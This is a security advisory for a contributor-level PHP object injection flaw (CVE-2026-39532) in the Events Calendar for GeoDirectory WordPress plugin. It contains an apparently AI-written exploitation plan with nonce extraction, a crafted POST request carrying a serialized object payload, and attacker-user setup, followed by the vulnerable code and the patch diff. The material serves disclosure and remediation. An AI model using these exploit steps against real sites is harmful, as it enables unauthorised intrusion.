Events Calendar for GeoDirectory <= 2.3.25 - Authenticated (Contributor+) PHP Object Injection
Description
The Events Calendar for GeoDirectory plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 2.3.25 via deserialization of untrusted input. This makes it possible for authenticated attackers, with contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=2.3.25What Changed in the Fix
Changes introduced in v2.3.26
Source Code
WordPress.org SVNThis plan focuses on a **PHP Object Injection** vulnerability in the **Events Calendar for GeoDirectory** plugin. The vulnerability stems from the use of a dangerous parsing function, `GeoDir_Event_Fields::parse_array()`, which calls `unserialize()` on strings starting with `a:`. This function is us…
Show full research plan
This plan focuses on a PHP Object Injection vulnerability in the Events Calendar for GeoDirectory plugin. The vulnerability stems from the use of a dangerous parsing function, GeoDir_Event_Fields::parse_array(), which calls unserialize() on strings starting with a:. This function is used to process various event-related fields when a post is saved or imported.
1. Vulnerability Summary
- ID: CVE-2026-39532
- Type: PHP Object Injection (Deserialization of Untrusted Data)
- Location:
includes/class-geodir-event-fields.php(inferred sink) andincludes/admin/class-geodir-event-admin-import-export.php(confirmed usage). - Sink:
unserialize()insideGeoDir_Event_Fields::parse_array(). - Condition: A string passed to
parse_array()must start witha:. - Access: Authenticated (Contributor+). Contributors can create and edit their own "Events" (or post types that support events), allowing them to trigger the metadata sanitization logic.
2. Attack Vector Analysis
- Endpoint:
wp-admin/post.php(via the standard post save/edit process). - Action:
editpost. - Parameter: Sub-fields of the event data, specifically
recurring_dates,start_times, orend_times. - Authentication: Required (Contributor, Author, Editor, or Admin).
- Precondition: The target WordPress site must have a GeoDirectory Custom Post Type (CPT) configured to support "Events". This is the default behavior for the plugin's "Events" CPT.
3. Code Flow
- A Contributor-level user edits or creates a post of a type that supports Events (e.g., the default
gd_event). - Upon submission, WordPress triggers the saving process.
- The plugin has registered a filter:
add_filter( 'geodir_custom_field_value_event', array( 'GeoDir_Event_Fields', 'sanitize_event_data' ), 10, 6 );(seeincludes/class-geodir-event-fields.php). - The
sanitize_event_datafunction (inferred) processes theevent_datesfield data. - Based on the logic seen in
includes/admin/class-geodir-event-admin-import-export.php, the plugin utilizesGeoDir_Event_Fields::parse_array()to handle inputs that might be arrays or serialized strings. GeoDir_Event_Fields::parse_array( $input )checks if$inputis a string and ifstrpos( $input, 'a:' ) === 0.- If the condition is met, it calls
unserialize( $input ), triggering the injection.
4. Nonce Acquisition Strategy
This exploit targets the standard WordPress post-editing flow.
- Login: Authenticate as a Contributor.
- Navigate: Use
browser_navigateto go towp-admin/post-new.php?post_type=gd_event(replacegd_eventwith the appropriate CPT slug if different). - Extract: Use
browser_evalto extract the_wpnoncefrom the form and thepost_ID(if one is already assigned in the hidden inputs)._wpnonce:document.querySelector('#_wpnonce').valuepost_ID:document.querySelector('#post_ID').value
5. Exploitation Strategy
Step 1: Identify the CPT and Event Support
Verify which post types support events using WP-CLI:wp eval "print_r(GeoDir_Event_Post_Type::get_event_post_types());"
Step 2: Observe Normal Request
As a Contributor, submit a valid "Event" and observe the POST structure to post.php. Look for how the event_dates field is structured. It is likely either top-level parameters or nested within an event_dates array.
Step 3: Send Injection Payload
Construct a POST request to wp-admin/post.php using the http_request tool.
Example Request (assuming top-level params based on Import mapper):
- Method:
POST - URL:
http://vulnerable-site.com/wp-admin/post.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID:[EXTRACTED_ID]_wpnonce:[EXTRACTED_NONCE]recurring:1repeat_type:customrecurring_dates:a:1:{i:0;O:8:"stdClass":0:{}}(Payload)start_date:2025-01-01end_date:2025-01-01
Alternative Payload (if nested):
If Step 2 shows nesting, use event_dates[recurring_dates]=a:1:{i:0;O:8:"stdClass":0:{}}.
6. Test Data Setup
- Ensure "Events for GeoDirectory" is active.
- Ensure a Post Type supports events. If not, use WP-CLI:
wp option update geodir_event_post_types '["gd_place"]'(or similar). - Create a Contributor user:
wp user create attacker attacker@example.com --role=contributor --user_pass=password
7. Expected Results
- The
unserialize()call will be executed. - If using a simple
stdClasspayload, no visible error may occur, but the application will process the object. - To confirm execution without a POP chain, one can attempt to inject an object of a class that exists but will cause a noticeable error when treated as a string (e.g.,
O:20:"WP_Block_List_Custom":0:{}which may cause a fatal error if the plugin expects a date string). - If a POP chain is available in the environment (e.g., via another plugin), it will trigger its magic methods (
__destruct,__wakeup).
8. Verification Steps
- Check the
wp-content/debug.log(ifWP_DEBUGis on) for deserialization errors:grep "unserialize" /var/www/html/wp-content/debug.log - Verify if the metadata was saved (though the goal is the injection during the process of saving):
wp post get [ID] --field=event_dates
9. Alternative Approaches
- Import Vector: If the Contributor has access to the GeoDirectory Import tool (unlikely, usually Admin), use the CSV import feature. Place the serialized payload in the
recurring_custom_datescolumn. - REST API: The plugin registers REST routes (see
includes/class-geodir-event-api.php). If the REST API update handlers forgd_eventcategories or tags also pass data through the same event field sanitization logic, they could be used as an alternative endpoint viaPATCH /wp/v2/gd_event/[id].
Summary
The Events Calendar for GeoDirectory plugin is vulnerable to PHP Object Injection due to the insecure use of the maybe_unserialize() function on user-supplied event metadata. Authenticated attackers with contributor-level permissions can exploit this by submitting crafted serialized strings in fields like recurring dates, potentially leading to remote code execution if a suitable POP chain is available on the system.
Vulnerable Code
// includes/class-geodir-event-fields.php:1152 $event_data = maybe_unserialize( $value ); $event_data = maybe_unserialize( $event_data ); // includes\post_functions.php#296 --- // includes/admin/class-geodir-event-admin-import-export.php:236 $event_data = ! empty( $row['event_dates'] ) ? maybe_unserialize( $row['event_dates'] ) : array();
Security Fix
@@ -233,7 +233,7 @@ $week_day_nos = self::week_days(); foreach ( $results as $key => $row ) { - $event_data = ! empty( $row['event_dates'] ) ? maybe_unserialize( $row['event_dates'] ) : array(); + $event_data = ! empty( $row['event_dates'] ) ? geodir_event_maybe_unserialize( $row['event_dates'] ) : array(); if ( ! is_array( $event_data ) ) { $event_data = array(); @@ -1123,6 +1123,11 @@ $value = maybe_serialize( $event_data ); } else if ( is_object( $value ) ) { $value = ''; + } else if ( is_serialized( $value ) ) { + // Checks if a string contains PHP object. + if ( geodir_event_is_serialized_object( $value ) ) { + $value = ''; + } } } @@ -1149,8 +1154,8 @@ return $value; } - $event_data = maybe_unserialize( $value ); - $event_data = maybe_unserialize( $event_data ); // includes\post_functions.php#296 + $event_data = geodir_event_maybe_unserialize( $value ); + $event_data = geodir_event_maybe_unserialize( $event_data ); // includes\post_functions.php#296 if ( isset( $gd_post->recurring ) ) { $recurring = ! empty( $gd_post->recurring ) ? true : false; @@ -733,4 +733,42 @@ } return $time_format; -} \ No newline at end of file +} + +/** + * Checks if a string contains a serialized PHP object. + * + * @since 2.3.26 + * + * @param string $data The string to inspect. + * @return bool True if an object pattern is found. + */ +function geodir_event_is_serialized_object( $data ) { + if ( ! is_string( $data ) || empty( $data ) ) { + return false; + } + + $pattern = '/[OC]:[0-9]+:(\\\"|")[^"]+(\\\"|"):[0-9]+:[\{|:]/'; + + return (bool) preg_match( $pattern, $data ); +} + +/** + * Unserializes data only if it was serialized. + * + * @since 2.3.26 + * + * @param string $data Data that might be unserialized. + * @return mixed Unserialized data can be any type. + */ +function geodir_event_maybe_unserialize( $data, $allowed_classes = false ) { + if ( is_serialized( $data ) ) { // Don't attempt to unserialize data that wasn't serialized going in. + if ( $allowed_classes !== null ) { + return @unserialize( trim( $data ), array( 'allowed_classes' => $allowed_classes ) ); + } else { + return @unserialize( trim( $data ) ); + } + } + + return $data; +}
Exploit Outline
To exploit this vulnerability, an attacker must have Contributor-level access or higher. The attacker navigates to the post-editing interface (wp-admin/post.php) for a post type that supports events (like 'gd_event'). By crafting a POST request to update the event, the attacker can supply a serialized PHP object payload to metadata fields such as 'recurring_dates', 'start_times', or 'end_times'. When the plugin saves the post, it passes these values through the sanitize_event_data function, which triggers maybe_unserialize() on the malicious string. This results in the instantiation of the injected object, allowing the attacker to leverage any available POP chains in the WordPress environment for further exploitation.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.